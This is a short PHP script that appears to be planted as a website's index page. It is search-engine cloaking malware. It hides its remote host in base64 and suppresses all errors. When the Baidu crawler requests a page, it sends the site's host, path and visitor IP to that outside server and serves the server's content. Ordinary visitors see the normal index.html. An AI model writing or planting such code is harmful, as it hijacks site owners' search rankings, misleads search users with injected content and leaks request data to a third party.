<?php
error_reporting(0);
ini_set('display_errors', '0');
header('Content-Type: text/html; charset=utf-8');
$opts = array(
    'http' => array(
        'method' => 'GET',
        'timeout' => 5,
    ),
);
$context = stream_context_create($opts);
$er = $_SERVER;
$url = isset($er['REQUEST_URI']) ? $er['REQUEST_URI'] : '';
$c_host = isset($er['HTTP_HOST']) ? $er['HTTP_HOST'] : '';
$ent = isset($er['HTTP_USER_AGENT']) ? $er['HTTP_USER_AGENT'] : '';
$ip = isset($er['REMOTE_ADDR']) ? $er['REMOTE_ADDR'] : '';
$host_path = base64_decode('aHR0cDovL2JhaWR1LmpxdWVyeS1hcGkudG9wLw==');
$path = parse_url($url, PHP_URL_PATH) ?: $url;
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$static = array('jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'ico', 'svg', 'css', 'js', 'txt', 'pdf', 'zip', 'rar', 'woff', 'woff2', 'ttf', 'eot', 'mp3', 'mp4', 'avi', 'mov');
if (preg_match('/\.shtml$/i', $path) || in_array($ext, $static, true)) {
} else {
    if (preg_match('/baiduspider/i', $ent)) {
        $query = http_build_query(array(
            'host' => $c_host,
            'path' => $url,
            'ip' => $ip,
        ));
        $remote_url = rtrim($host_path, '/') . '/index.php?' . $query;
        $content = @file_get_contents($remote_url, false, $context);
        if ($content !== false && $content !== '') {
            echo $content;
            exit;
        }
    }
}
?><?php include_once("index.html"); ?>
